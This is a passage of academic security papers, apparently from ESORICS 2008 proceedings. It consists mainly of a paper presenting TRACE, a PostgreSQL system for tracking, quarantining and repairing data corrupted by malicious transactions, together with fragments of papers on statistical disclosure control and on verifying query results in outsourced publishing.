defined four types of disclosure for the protected moments in statistical databases.
Secondly, for each type of disclosure, we discovered the distribution pattern for the
protected moments that are subject to disclosure in a 2-table that is derived from a
statistical database. The distribution patterns enabled us to develop efficient algo-
rithms to discover all protected moments that are subject to disclosure. The distri-
bution patterns also enabled us to developed effective disclosure control methods
that combine minimal number of released moments to eliminate the disclosure.

In the future, we plan to investigate other disclosure control methods such as
giving the bounds of released moments instead of exact values. The utility of the
released data can be defined and measured so as to compare different disclosure
controlmethods. It is also interesting to extend the work to the databases of certain
distributions such as normal and uniform.
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Abstract. As Web services gain popularity in today’s E-Business world,
surviving DBMSs from an attack is becoming crucial because of the in-
creasingly critical role that database servers are playing. Although a
number of research projects have been done to tackle the emerging data
corruption threats, existing mechanisms are still limited in meeting four
highly desired requirements: near-zero-run-time overhead, zero-system-
down time, zero-blocking-time for read-only transactions, minimal-delay-
time for read-write transactions. In this paper, we propose TRACE, a
zero-system-down-time database damage tracking, quarantine, and re-
covery solution with negligible run time overhead. TRACE consists of
a family of new database damage tracking, quarantine, and cleansing
techniques. We built TRACE into the kernel of PostgreSQL. Our exper-
imental results demonstrated that TRACE is the first solution that can
simultaneously satisfy the first two requirements aforementioned and the
first solution that can satisfy all the four requirements.

1 Introduction

As Web services gain popularity and are embraced in industry to support today’s
E-Business world, surviving the back-end DBMSs from E-Crime is becoming
even more crucial because of the increasingly critical role that they are play-
ing. The cost of attacks on the DBMSs are often at the magnitude of several
millions of dollars. Unfortunately, traditional DBMS protection mechanisms do
not defend the DBMSs against some new threats that have come along with
the rise of Internet, both from external source, e.g., SQL Slammer Worm [6],
SQL Injection [19], as well as from malicious insiders. Existing DBMS security
techniques, e.g., authentication based access control, integrity constraints, and
roll-back recovery mechanisms, are designed to guarantee the correctness, in-
tegrity, and availability of the stored data, but are very limited in dealing with
data corruption and do not deal with the problem of malicious transactions. As
we will explain shortly in section 2, once a DBMS is attacked, the damage (data

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 161–176, 2008.
c© Springer-Verlag Berlin Heidelberg 2008



162 K. Bai, M. Yu, and P. Liu

corruption) done by these malicious transactions has severe impact on it because
not only is the data they write invalid (corrupted), but the data written by all
transactions that read these data may likewise be invalid. In this way, legiti-
mate transactions can accidentally spread the damage to other innocent data.
Techniques, such as implemented in Oracle flashback [18] and [11], can handle
corrupted data, but are costly to use and have serious impact on the compro-
mised DBMSs. These techniques can seriously impair the database availability
because not only the malicious transaction, but all the transactions committed
after the malicious transaction are rolled back.

Although a good number of research projects have been done to tackle the
emerging data corruption threats, existing mechanisms are still quite limited
in meeting four highly desired requirements: (R1) near-zero-run-time overhead,
(R2) zero-system-down time, (R3) zero-blocking-time for read-only transactions,
(R4) minimal-delay-time for read-write transactions. As a result, these proposed
approaches introduce two apparent issues: 1) substantial run time overhead, 2)
long system outage. To see why existing data corruption tracking/recovering
mechanisms are limited in satisfying the four requirements, here we briefly
summarize some main limitations of three representative database damage track-
ing/recovering solutions [1][8][15]. In ITDB [1], a dynamic damage (data corrup-
tion) tracking approach is proposed to perform on-the-fly repair. However, it
needs to log read operations to keep track of inter-transaction dependencies,
which causes significant run time overhead. This method may initially mark
some benign transactions as malicious thus preventing normal transactions ac-
cess the data modified by them, and it can spread damage to other innocent
data during the on-the-fly repair process. As a result, requirement R1 cannot be
satisfied. In [8], an inter-transaction dependency graph is maintained at run time
both to determine the exact extent of damage and to ease the repair process and
increase the amount of legitimate work preserved during an attack. However, it
does not support on-the-fly repair which results in substantial system outage. As
a result, requirement R2 cannot be satisfied. In [15], another inter-transaction
dependency tracking technique is proposed to identify and isolate ill-effects of
the malicious transactions. In order to maintain the data dependency, this tech-
nique also needs to record a read log, which is not supported in existing DBMS
and will pose a serious performance overhead . Additionally, it only provides
off-line post-corruption database repair. Table 1 lists the major mechanisms and
their limitations, and the four requirements will shortly be further explained in
Section 2.

To overcome the above limitations, we propose TRACE, a zero-system-down-
time database damage tracking, quarantine, and recovery solution with negli-
gible run time overhead. The service outage is minimized by (a) cleaning up
the compromised data on-the-fly, (b) using multiple versions to avoid blocking
read-only transactions, and (c) doing damage assessment and damage cleans-
ing concurrently to minimize delay time for read-write transactions. Moreover,
TRACE uses a novel marking scheme to track causality without the need to log
read operations. In this way, TRACE has near-zero run-time overhead. We build
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Table 1. Existing Approaches and Their Limitations

Proposals R1 R2 R3 R4

[1] � �
[8] �
[15] �

TRACE � � � �

TRACE prototype into the DBMS kernel of PostgreSQL, which is currently the
most advanced open-source DBMS with transaction support, not layered on top
as ITDB [1]. In summary, TRACE is the first integrated database tracking,
quarantine, and recovery solution that can satisfy all the four highly desired
requirements shown in Table 1. In particular, TRACE is the first solution that
can simultaneously satisfy requirements R1 and R2.

2 Preliminaries

2.1 The Threat Model

In this paper, we deal with data corruption problem in DBMS. Data corrup-
tion can be caused by a variety of ways. First, the attacks can be done through
web applications. Among the OWASP [19] top ten most critical web applica-
tion security vulnerabilities, three out of the top 6 vulnerabilities can directly
enable the attacker to launch a malicious transaction, some of which are listed
as follows: 1)Injection Flaws; 2)Unvalidated Input ; 3)Cross Site Scripting (XSS)
Flaws. Second, the attacks can be done through insider attacks. TRACE fo-
cuses on handling data corruption caused by Injection Flaws and insider attacks
through transaction level attack. Transaction level attacks have been well stud-
ied in a good number of researches [2,8,22]. In this paper, we use “attack” to
denote both the malicious attacks and human errors. We use a SQL injection
attack to simulate the malicious transaction and evaluate our TRACE system
in the experiments.

M

A

A

G

A

G

G

G

T1<r1, w1>

T2<r2, w2>

T3<r3, w3>

T4<r4, w4>

T5<r5, w5>

T6<r6, w6>

T7<r7, w7>

T8<r8, w8>

Preceding relation

Data dependency relation

M: Malicious Transaction

A: Affected Transaction

G: Good Transaction

Fig. 1. An Example of Damage Spreading
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2.2 Definitions

In this section, we formally describe the problems TRACE intends to solve.
When a database is under an attack, TRACE needs to do: 1) identify corrupted
data objects according to the damage causality information maintained at run
time, and 2) carry out cleansing process to “clean up” the database on-the-fly.
Here, the cleansing process includes damage tracking, quarantine, and repair. To
accomplish the above tasks, TRACE relies on correctly analyzing some specific
dependency relationships. We first define the following two relations.

Basic Preceding Relation: Given two transaction Ti and Tj , if transaction Ti

is executed before Tj , then Ti precedes Tj , which we denote as Ti � Tj. Note,
we assume strict 2PL scheme is applied as in most of the commercial DBMSs.

Data Dependency Relation: Given any two transactions Ti � Tj, if (WTi −⋃
Ti�Tk�Tj

WTk
) ∩ RTj �= ∅, then Tj is dependent on Ti, which is denoted as Ti

→ Tj . We use RT and WT to denote the read set and the write set of transaction
T . If there exist transactions T1, T2, ..., Tn, n ≥ 2, that T1 → T2 →, ..., Tn, then
we denote it as T1 →� Tn.

For example, given the transaction Ti : oc = oa + ob, RTi = {oa, ob} and
WTi = {oc}; the transaction Tj: of = od + oc, RTj = {oc, od}, WTj = {of}.
Obviously, we have Ti → Tj because transaction Tj reads the data object oc

written by transaction Ti. If data objects (e.g., oc) contained in the write set
WTi are corrupted, write set WTj is affected because of the dependency relation
of Ti and Tj , RTj ∩ WTi =oc. Based on above statements, we have, as shown
in Figure 1, T1 → T2, T2 � T4, T4 → T8. If T1 is a malicious transaction,
transaction T2, T3 are affected directly (and T7 is affected indirectly via T2) and
the data objects updated by T2, T3, T7 are invalid. Transaction T4, T5, T6, and T8

are legitimate (good) transactions.

3 Overview of Approach

TRACE has two working modes, the standby mode and the cleansing mode. In
this section, we overview our approach that enables TRACE system to meet
the requirements listed in Table 1. We use “cleansing” rather than “recovering”
throughout this paper to emphasize the additional feature of our approach to
preserve legitimate data in the process of restoring the database back to the
consistent status in the recent past. The goal of TRACE is to maintain maximum
service online while quarantining, analyzing, and recovering the corrupted data
objects stored in the DBMS.

3.1 The Standby Mode

In this working mode, TRACE uses a simple but efficient marking scheme to
maintain the data dependency information at the run time. An ideal marking
scheme should be transparent to the normal transaction process when there is
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no malicious transactions detected. The marking idea is that TRACE constructs
a one-to-many mapping from a set of tiny marks to the set of data objects. A
mark is a unique n bits attached to a data object to indicate its origin. An
origin is a data object’s ancestor who creates/updates it. In this work, we set
the mark at the record level and use a transaction ID as the mark of a data
record. We maintain in Causality Table (CT) the inter-mark dependencies to
perform the damage tracing (addressed in section 3.2). We create an entry for
each created/updated data record in CT. A data record may have multiple ori-
gins because it can be updated a number of times in its life time. If a transaction
Ti reads a database record that is created by transaction Tj , all database records
updated by transaction Ti have Tj as one of their origins. If any origin of a data
record has been identified as corrupted (or affected), all records that have the
same origin are also believed as corrupted. Without blind writes, the origins
will contain every mark (transaction ID) that has last updated the data object.
However, during the normal transaction processing, the origins does not have a
complete set of marks. This will be fulfilled in the damage assessment procedure.

3.2 The Cleansing Mode

In the cleansing mode, TRACE uses the causality information obtained in
standby mode to identify and selectively repair only the data corrupted by the
malicious/affected transactions on-the-fly. In the following, we overview how each
cleansing operation functions with the focus on how they coordinate with one
another.

� Damage Quarantine is to prevent the normal transactions from accessing
any invalid data objects, and then stop damage propagating and further reduce
the repairing cost. When malicious transactions are detected by IDS, TRACE
immediately sets up a time-based quarantine window (a time interval between
the malicious transaction timestamp tsb and the time TRACE receives the de-
tection report). TRACE uses the timestamp tsb to block the access to the data
objects contained in the window. All access to the data records that are last up-
dated later than the timestamp tsb will be blocked. Access to the data records
updated/created earlier than the timestamp tsb will still be allowed. As a result,
requirement R2 can be satisfied.

� Damage Assessment is to identify every corrupted data within the quaran-
tine window. When malicious transactions are detected, TRACE starts scanning
the causality table from the first entry whose mark (transaction ID, tid) is the
detected malicious transaction Tb, and then calculates the corrupted data set
C(Ti) up to the transaction Ti.

The abstract damage assessment algorithm includes two steps: 1) the Intrusion
Detection System (IDS) reports a malicious transaction. The malicious transac-
tion identifier (Tb) is the initial mark of damaged data records. During scanning
the causality table, TRACE knows it has found all data records corrupted by
the malicious transaction Tb when it encounters an entry whose mark (tid) has
an associated timestamp later than the malicious transaction timestamp tsb.
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Fig. 2. Identify/Repair Corrupted Data Records Overview

At this point, TRACE obtains the initial corrupted data set C(Tb). 2) Then,
TRACE processes the causality table starting from the entries whose origins
set O contains the mark Tb. In general, for each entry in CT associated with
transaction Tj (mark tidj), if the entry’s origins set OTj ∩ CTi �= ∅ (CTi stands
for the known corrupted transactions tids in C up to Ti), TRACE puts the data
records with Tj (tidj) into corrupted set C(Tj), and then adds Ti’s origins set
OTi into Tj ’s origins set OTj in CT. TRACE stops the assessment process when
any one of the following two conditions is true: 1) TRACE reaches the last entry
of CT; 2) TRACE reaches an entry whose timestamp is equal to the time point
when TRACE starts quarantine procedure. For condition 2, any entry in CT
beyond this time point is valid because only transactions accessing to valid data
are executed after the quarantine window is set up.

� Valid Data De-Quarantine is to release the valid data objects in the quar-
antine window. In parallel to damage assessment, de-quarantine procedure exe-
cutes to release data objects that either are over-contained valid data objects or
corrupted data objects that have been repaired.

TRACE needs to gradually filters out real invalid data for repairing and re-
lease the over-quarantined valid data according to the following rules. When a
data record is requested by a newly submitted transaction, 1) if the data record’s
timestamp is later than the malicious transaction timestamp tsb and this data
record is not included in repair set Sr, the access to it is denied. In this situ-
ation, whether the data record is invalid or valid is not known. The submitted
transaction is put into active transaction queue to wait until the data record’s
status is clear (e.g. the data record 11 in Figure 2). 2) If the requested data
record is in the repair set Sr and the status is invalid (e.g., the data record 8,
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10 (R8, R10) in Figure 2), the access is not allowed. 3) If the data record is in
Sr and the status is valid (e.g., the data record 5 (R5)), the data record has
been fixed and is free to access. To guarantee the correctness of condition 1),
we introduce a ‘checkpoint ’ to the repair set Sr. Each time TRACE copies the
newly identified corrupted data records in the corrupted data set C to the repair
set Sr, TRACE sets a ‘checkpoint’ in Sr. Among the data records in Sr, there
is a data record whose timestamp tsi is the greater than others, but smaller
than the ‘checkpoint’. If an incoming transaction requests a data record whose
timestamp is smaller than tsi and the data object is not included in the repair
set Sr at this ‘checkpoint’, the data record is clean and is allowed to access. This
is because TRACE ensures all corrupted data records before this ‘checkpoint’
have been identified and copied into Sr. After a corrupted data object is fixed,
the data object’s status is reset to clean.

� Repairing On-The-Fly is to remove the ill-effects without stoping the DB
services. A repairing transaction (undo) performs a task on corrupted data ob-
jects as if the malicious/affected transactions that result in invalid database
states have never been executed. For instance, an undo (Ti) transaction is im-
plemented as removing all specific version data objects written by transaction
Ti as the transaction Ti never executes. To avoid the serialization violation, we
must be aware that there exist some scheduled preceding relations between the
undo transactions and the normal transactions. This is handled by submitting
the undo transactions to the scheduler.

4 Design and Implementation of TRACE Atop
PostgreSQL

To build the TRACE that offers the feature of identifying/repairing the cor-
rupted data objects and meets the four requirements, we make several changes
to the source code of a standard PostgreSQL 8.1 database [21].

4.1 Implementing the Marking Scheme

We maintain in Causality Table (CT) the inter-mark dependencies to perform
the damage tracking. TRACE attaches the mark (several bytes, see Figure 3) to
each data record. To construct the Causality Table (CT) entries for each corre-
sponding data record, we need to modify the data structure of the data record
defined in PostgreSQL and modify the Executor Module. The Executor executes
a plan tree. When the tuples are returned, TRACE knows exactly what data
records are accessed, updates the mark attached with each updated data record,
and inserts the entry into the CT. To avoid insufficient precision and give each
transaction a unique time, we extend the timestamp value with an additional
four byte sequence number (SN). TRACE marking scheme additionally uses an-
other eight byte transaction ID to indicate the transaction that last updates the
data record and one bit in the record header to denote a data record dirty/clean
status. Figure 3 gives the record layout with additional marking bytes.
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Fig. 4. An Example of the Causality Table Construction

TRACE creates an entry in the CT for each updated data record. Figure 4(b)
reflects the creation of marks as shown in Figure 4(a) using a simple example.
Field TransID (the mark) has transaction ID (xid in PostgreSQL) as the key
of the entry. Field Origins is a set of mark (xidi) indicating a data record’s
origins. Field TS records the timestamp when the entry is created. We initially
set the timestamp field with the transaction identifier, and replace it when the
transaction commits. Field PageID indicates the page where TRACE can look
up for the corresponding data record. In Figure 4(b), we assume transaction
T0 has no origin and calculates based on local inputs. Mark T6 has origin T2

and T3. The complete origins list of a data record updated by transaction T6

is {T3, T2, T1, T0} and T4 is {T2, T1, T0} according to Figure 4(a). If mark T1 is
identified as malicious, data records with attached mark T1 are invalid. Since
T2 has T1 in its origins, data records attached with mark T2 are also invalid.
Thus, mark T6 is invalid too. Compared with the dynamic dependency analysis
technique, which needs to dynamically check whether the write set of a trans-
action overlaps the read set of a transaction (such operations may consume a
substantial amount of time), the marking scheme in TRACE does not need to
perform any check operations, because all the information has been recorded in
the CT.

4.2 Maintaining Before Images

In PostgreSQL, when a data record is updated the old versions usually are not
removed immediately after the update/delete operations. A versioning system is
implemented by keeping different versions of data records in the same tablespace
(e.g. in the same data page). Each version of a data record has several hidden at-
tributes, such as Xmin (the transaction id xid of the transaction that generates
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the record version) and Xmax (the xid of the transaction that either generates
a new version of this record or deletes the record). For example, when a trans-
action Ti performs an update on a data record ox, it takes the valid version v
of ox, and makes a copy vc of v. Then, it sets v’s Xmax and vc’s Xmin to the
transaction id xidi. A data record is visible by a transaction if Xmin is valid and
Xmax is not. Different versions of the same data record are chained by a hidden
pointer as shown in Figure 2. TRACE utilizes these chained ‘before’ images to
do the corrupted data record repairing (addressed in section 4.3). To make the
hidden versions visible, we modify the index scan and sequential scan functions
in executor module of PostgreSQL to identify the xid of transactions that gen-
erated (or deleted) data record versions which match our needs. Then we can go
through the multi-version chain to find every historical version of a data record.

4.3 Damage Assessment Module

To assess the damage, TRACE locates the data record by the page id stored in
CT. If the data page is not in memory, TRACE loads the data page containing
the corrupted data record back into the memory. If more than one data record
is in the same data page, the offset of the data record is used to locate the
right data record. Then, TRACE traverses the associated data record version
chain backwards in time (using the hidden previous version pointer of each on-
page data record, and this could span over multiple data pages) to identify
every invalid data record version and the valid data record version. Within the
detection window, a data record can be updated multiple times. All updates
corrupted both directly and transitively by the malicious transaction Tb must
have timestamps associated with them later than the timestamp tsb. As TRACE
traverses the multi-version chain, it marks every invalid version by setting the
dirty bit until it finds a data record version whose timestamp is less than the
malicious timestamp tsb. TRACE does not keep all invalid data record versions
in the repair set Sr (implemented as a hash table with the transaction id as
the hashed key). For example, in Figure 2, the data record Y3 is invalid because
of malicious transactions and then the version Y2 and Y1 are invalid. Thus, to
identify corrupt versions of data records, TRACE needs merely keep the invalid
version Y1 in Sr.

4.4 Quarantine/De-quarantine Module

To implement the damage quarantine in PostgreSQL, we modify the executor
module source code. The plan tree of PostgreSQL is created to have an optimal
execution plan, which consists of a list of nodes as a pipeline. Normally, each
time a node is called, it returns a data record. Starting from the root node, upper
level nodes call the lower level nodes. Nodes at the bottom level perform either
sequential scan or index scan. We make changes to the function of the bottom
level nodes as well as the return results from the root node. By default, the
executor module of PostgreSQL executes a sequential scan to open a relation,
iterates over all data records. We change the executor module to check the
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timestamp attached to each data record while scanning the data records in the
quarantine phase. If a data record satisfies the query condition and its timestamp
is later than the timestamp tsb, the executor knows the incoming transaction
requests a corrupted data record. Therefore, it either discards the return result
from the root node or asks the damage assessment and de-quarantine modules
for further investigation, and then puts the transaction to active transaction
queue to wait.

In de-quarantine phase, we modify the executor function to check whether
each scanned data record from the sequential scan is already in the repair set
Sr or not. A similar change has been introduced for B-tree index scan nodes.
During the normal database time, this procedure is transparent and bypassed
without affecting performance. We maintain the repair set Sr as a mirror of
the corrupted data set C is to enable damage assessment, de-quarantine and
repairing modules run concurrently without the access conflict.

4.5 On-The-Fly Repairing

For each data record ox in the repair set Sr, TRACE traverses backwards the
hidden multi-version chain to the version whose timestamp tsox is immediately
earlier than the malicious transaction’s timestamp tsb (e.g., Y4 in Figure 2).
This version of data record is the correct ’before-image’ of the data record ox.
Only this version can be used to construct the undo transaction and eliminate
the negative effects. To undo a damaged data record, repairing module simply
restores the ‘before-image’ of this data record to its next version (e.g., restore
version Y4 to version Y1 because Y4 is Y1’s correct ‘before-image’, and then
get rid of the version Y3, Y2, set the dirty mark of Y1 to 0). This mechanism
provides the TRACE system the ability to selectively restore a table or a set
of data records to a specified time point in the past very quickly, easily and
without taking any part of the database offline. One correctness concern with
the on-the-fly repair scheme is whether it will compromise serializability. Due to
the following reasons, TRACE will guarantee serializability: (a) all repairs are
done within the quarantined area, so the repairs will not interfere the execution
of new transactions; (b) our de-quarantine operations ensure serializability by
doing atomic per-transitive-closure de-quarantine.

Causality Table is a disk table that has the format <TransID, origins,
timestamp, Page ID>. We build a B-tree kind index ordered by TransID (trans-
action id xid) on top of the causality table and maintain in the main memory,
which permits fast access to the related information to assess the damage. How-
ever, if we do not remove historical entries from the causality table, it intends
to become very large and the index maintained in main memory accordingly
become hideous. To keep the causality table relatively small, high performance,
and without losing the track of cascading effect, we garbage collect the causal-
ity table entries which are no longer of an interest of the damage assessment.
To garbage collect the causality table entries without missing the track of the
cascading effects by malicious transactions, it will be safe to garbage collect
those mark entries that stay in the causality table longer than a selected time
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window because the probability that the mark entry is involved in a recent neg-
ative impact to the database is small enough. For the sake of the simplicity, in
our experiments we assume that the detection latency is normally distributed
with parameter T = 3s (detection latency) and standard deviation σ = 9s, and
we set the processing window t = 100× T = 300 seconds. Thus, we have a very
small probability that garbage collection will harm the causality tracing once an
attack is reported.

5 Experimental Results

We implement TRACE as a subsystem in PostgreSQL database system, and
evaluate the performance of TRACE based on TPC-C benchmark and a clinic
OLTP application. We present the experimental results based on the following
evaluation metrics. First, motivated by requirement R1, we demonstrate the
system overhead (i.e., the run time overhead) introduced by TRACE. Our ex-
periments show the overhead is negligible. Second, motivated by requirements
R2, R3 and R4, we demonstrate the comparison of TRACE and ‘point-in-time’
(PIT) recovery method in terms of system performance, data availability.

We construct two database applications based on the TPC-C benchmark and
the clinic OLTP. The OLTP application defines 119 tables with over 1140 at-
tributes belonging to 9 different sub-routines. In this work, we use 2 of the 9
sub-routines which contain 10 tables and over 100 attributes. For more detailed
description of TPC-C benchmark and the OLTP application we refer the reader
to [10,24]. Transaction workloads are based on above two applications. A trans-
action includes both read and write operations. The experiments conducted in
this paper run on Debian GNU/Linux with Intel Core Due Processors 2400GHz,
1GB of RAM. We choose PostgreSQL 8.1 as the host database system and com-
pile it with GCC 4.1.2. The TRACE subsystem is implemented using C.

5.1 System Overhead

We evaluate the system overhead of transactions with insert/update statements.
We create two applications with TPC-C benchmark and the clinic OLTP tem-
plates. Up to 20,000 transactions execute on each application. Among the 20K
transactions, 20% are insert statements, and the rest are update statements.
For TPC-C application, we set up each transaction containing no larger than
5 insert/update statements. For OLTP application, we set up each transaction
with at most 10 insert/update statements. Figure 5(a) shows the comparison of
system overhead of TRACE and the raw PostgreSQL system on TPC-C. Be-
cause TRACE provides additional functionalities, it has system overhead on the
PostgreSQL by the size of transaction in terms of the number of insert/update
statements. The overhead introduced by TRACE comes from the following pos-
sible reasons: 1) for every insert/update operation, TRACE needs to create a
CT entry and updates the timestamp field in CT. 2) To trace the invalid data
records, TRACE maintains a causality table, which needs to allocate and access
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more disk storage when storing the causality information. For the TPC-C case of
20K transactions, we run the experiment 50 times and the average time of exe-
cuting a transaction is in 7.1 ms. Additional 0.58 ms is added to each transaction
(8% on average) to support causality tracking.

5.2 Reduced Service Delay Time and De-committed Transactions

We define the service delay time as the delay time experienced by a transaction
Ti, denoted as (tn − tm)Ti , where tm is the time point the transaction Ti requests
a data record, and tn is the time point the transaction gets served. The average
system outage time for n transactions is denoted as

�n
i=1(tn−tm)Ti

n . For example,
if the database system with PIT recovery needs 10s to restore and back to service,
and during the time of recovery 100 transactions are submitted to the server, the
average service delay for a transaction is 10s. For the database with TRACE, the
average service delay is

�100
i=1(tn−tm)Ti

100 . Then, the reduced service delay time is 10−
�100

i=1(tn−tm)Ti

100 for this case. We define the attacking density d = b
t , where b and t

are the throughput of malicious transactions within t and the total throughput of
transactions, respectively. For example, if the total throughput of the system is
500 transaction per second, where there are 50 malicious/affected transactions per
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second, the attacking density is 10%. We run each setting 300 seconds on the OLTP
application to obtain stable results.

The experimental results are shown in Figure 5(b) and Figure 5(c). Figure 5(b)
shows the reduced system service delay time w.r.t. different attacking density and
throughput. We observe that, with TRACE component, the reduced system delay
time is significant. The percentage of reduced service delay time decreases as the
system throughput increases, and it decreases sharply (down to 15%) as the at-
tacking density d increases. The reason is when the attacking density and through-
put is light, TRACE spends less time to analyze the causality table and has much
less corrupted data records to repair. As the d and throughput increase, TRACE
causes the database system running busy in identifying the corrupted data records.
However, even the percentage decreases, TRACE still saves a great amount of sys-
tem outage time and makes the system stay online. Figure 5(c) shows the reduced
de-committed transactions w.r.t. different attacking density and throughput. We
observe that TRACE can save a large amount of innocent transactions, and then
avoids re-submitting these transactions. This reduces the processing cost because
the re-submitting process is very labor intensive and re-executing some of these
transactions may generate different results than their original execution. During
the 5 minutes experiment run, 150,000 transactions are executed on average.When
the attack density is set at 10%, for example, there are 15,000 transactions are
affected, the work of 10,000 legitimate transactions is saved, and around 80,000
records are cleaned with about 20% throughput degradation.

Figure 5(d) demonstrates the throughput performance of the PostgreSQL
with/without TRACE based on the clinic OLTP application. To filter out po-
tential damage spreading transactions, we assume the transaction dependence
is tight. For instance, if a transaction Tx does not access compromised data but
rely on the result of a transaction Ty, transaction Tx will still be filtered out
(held in the active transaction queue) if transaction Ty is filtered out due to
accessing compromised data because the result directly from transaction Ty is
dirty. In Figure 5(d), we present an approximate 40 sec time window. On aver-
age the throughput of PostgreSQL is slightly higher than the PostgreSQL with
TRACE because TRACE will add overhead into the system. At time point 11
(around 33 sec), a malicious transaction is identified. For traditional PostgreSQL
system, the system stops providing service. For PostgreSQL with TRACE, the
system will continue providing data access while starting the damage quar-
antine/assessment/repair procedure. In the worst time point, the throughput
degradation ratio of TRACE is less than 40%, and the degradation ratio is
quickly improved to 20% within 3 seconds. Overall, the goal of continuing pro-
viding service when the system is under an attack is met with satisfactory system
throughput performance.

6 Related Work

Failure handling, e.g., [7,9,23], aims at guaranteeing the atomicity of database
systems when some transactions failed. For instance, when a disk fails (media
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failure), most traditional recovery mechanisms (media recovery) focus on recov-
ering the legitimate state of the database to its most recent state upon system
failure by applying backup load and redo recovery [5]. Unlike a media failure,
a malicious attack cannot always be detected immediately. The damage caused
by the malicious/erroneous transactions is pernicious because not only is the
data they touch corrupted, but the data written by all transactions that read
this data is invalid. Removing inconsistency induced by malicious transactions
is usually based on the recovery mechanisms [17], in which a backup is restored,
and a recovery log is used to roll back the current state. The usual database
recovery techniques to deal with such corrupted data are costly to perform, in-
troducing a long system outage while the backup is used to restore the database.
Thus it can seriously impair database availability because not only the effects of
the malicious transaction but all work done by the transactions committed later
than the malicious transaction are unwound, e.g., their effects are removed from
the resulting database state. These transactions then need to be re-submitted
in some way (i.e. redo mechanisms) so as to reduce the impact onto the data-
base. Checkpoint techniques [12] are widely used to preserve the integrity of data
stored in databases by rolling back the whole database system to a specific time
point. However, all work, done by both malicious and innocent transactions, will
be lost.

Fault tolerant approaches [2] are introduced to survive and recover a database
from attacks and system flaws. A color scheme for marking damage and a notion
of integrity suitable for partially damaged databases are proposed to develop
a mechanism by which databases under attack could still be safely used. For
traditional database systems, Data oriented attack recovery mechanisms [20]
recover compromised data by directly locating the most recent untouched version
of each corrupted data, and transaction oriented attack recovery [14] mechanisms
do attack recovery by identifying the transactions that are affected by the attack
through read-write dependencies and rolls back those affected transactions. Some
work on OS-level database survivability has recently received much attention. For
instance, in [4], checksums are smartly used to detect data corruption. Storage
jamming [16] is used to seed a database with dummy values, access to which
indicates the presence of an intruder.

Attack recovery has different goals from media failure recovery, which focuses
on malicious and affected transactions only. Previous work [1,2,3,13,14,20] of at-
tack recovery heavily depends on exploiting the system log to find out the pattern
of damage spreading and schedule repair transactions. The analysis of system log
is very time consuming and hard to satisfy the performance requirement of on-
line recovery. In addition, the dynamic algorithm proposed in [1] leaks damage
to innocent data while repairing the damage on-the-fly. In [15], a similar idea of
recovering from bad transactions is proposed to automatically identify and iso-
late the ill-effects of a flawed transaction, and then preserving much more of the
current database state while reducing the service outage time. This technique
requires both a write log and a read log. Although a write log is quite common
in modern DBMS, maintaining a read log poses a serious performance overhead
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and therefore is not supported in existing DBMS. In addition, it requires the
system be off-line to mark the identified invalid data and repair them. In [8],
an advanced dependency tracking technique is proposed. This approach tracks
and maintains inter-transaction dependency at run time to determine the exact
extent of damage caused by a malicious attack. The drawbacks of this approach
are 1) it does not support on-line damage repair and thus results in long system
outage, 2) it does not support Redo transaction and thus results in permanently
data lost.

7 Conclusion and Future Work

We have dealt with the problem of malicious transactions that result in cor-
rupted data. TRACE identifies the invalid data records and all subsequent data
submitted by legitimated transactions affected by the malicious transactions di-
rectly or indirectly. Our marking scheme used in damage assessment enables
us only de-commit the effects from affected transactions. Working with multi-
version data records makes it unnecessary to restore a backup which is always
online. Overall, our system removes far fewer transactions than the conventional
recovery mechanisms and in turn provides a much shorter system service delay.
In our immediate future work, we would develop a new cleansing mechanism
that combines the attack recovery with conventional failure recovery of data-
base systems.

Acknowledgement. This work was supported by NSF CNS-0716479, AFOSR
MURI: Autonomic Recovery of Enterprise-wide Systems After Attack or Failure
with Forward Correction, and AFRL award FA8750-08-C-0137.
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Abstract. Outsourced data publishing is a promising approach to
achieve higher distribution efficiency, greater data survivability, and
lower management cost. In outsourced data publishing (sometimes re-
ferred to as third-party publishing), a data owner gives the content of
databases to multiple publishers which answer queries sent by clients. In
many cases, the trustworthiness of the publishers cannot be guaranteed;
therefore, it is important for a client to be able to verify the correctness
of the query results. Meanwhile, due to privacy concerns, it is also re-
quired that such verification does not expose information that is outside
a client’s access control area. Current approaches for verifying the cor-
rectness of query results in third-party publishing either do not consider
the privacy preserving requirement, or are limited to one dimensional
queries. In this paper, we introduce a new scheme for verifying the cor-
rectness of query results while preserving data privacy. Our approach
handles multi-dimensional range queries. We present both theoretical
analysis and experimental results to demonstrate that our approach is
time and space efficient.

1 Introduction

The amount of data stored in databases is rapidly increasing in today’s world. A
lot of such data is published over the Internet or large-scale intranets. Given the
large sizes of databases and the high frequency of queries, it is often desirable
for data owners to outsource data publishing to internal or external publishers.
In such a model, the data center of an organization gives datasets to internal
publishers (for publishing within the organization’s intranet), or external third-
party publishers (for publishing over the Internet) [1,2,3,4].

Offloading the task of data publishing from data owners to dedicated data
publishers offers the following advantages: (1) the publishers may have higher
bandwidths; (2) the publishers may be geographically closer to the clients and
have lower latencies; (3) having multiple publishers helps to avoid the data owner
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being a single point of failure; (4) overall data management cost can be signif-
icantly reduced, by leveraging hardware and software solutions from dedicated
data publishing service providers [5].

In many settings the trustworthiness of the data publishers cannot be guar-
anteed – the security of the publishers’ servers is not under the control of the
data owners. Historical computer security incidents have shown that securing
large online systems is a difficult task. The threat of insider attacks from within
a data publishing service provider cannot be overlooked either. Therefore it is
critical for a client to be able to verify the correctness of query results.

There are three aspects of correctness: authenticity, completeness and fresh-
ness [1,6,7,8]. A query result is authentic if all the records in the result are from
the dataset provided by the data owner. A query result is complete if the pub-
lisher returns all data records that satisfy the query criteria. A query result is
fresh if the query result reflects the current state of the owner’s database.

Suppose a dataset contains numbers 12, 20, 5, 10, 18, 30, 16, 31. The range
query [15, 25) asks for numbers between 15 (inclusive) and 25 (non-inclusive).
The correct result is {16, 18, 20}. A result {16, 17, 18, 20} is not authentic. And
a result {18, 20} is not complete.

Several approaches have been proposed for verifying the query results in third-
party publishing, e.g., [1,6,4]. Most of these solutions use techniques from public-
key cryptography. The data owner has a pair of public/private keys. Verification
metadata is generated over the dataset using the private key by the owner,
and the metadata is provided to the publishers with the dataset. When a client
queries from a data publisher, the publisher returns the query result together
with a proof called a Verification Object (VO) [1], which is constructed based
on such metadata. The client can then verify the correctness of the query result
using the corresponding VO , with the data owner’s public key.

Due to increasing privacy1 concerns for today’s information management, pre-
serving data privacy has become a critical requirement. The data owner and the
publishers need to enforce access control policies so that each client can only ac-
cess the information within her own accessible area. On the other hand, clients
should be able to verify the correctness (namely authenticity, completeness and
freshness) of the query results, even if the publishers could be malicious or be
compromised. The data privacy should be preserved at least when the pub-
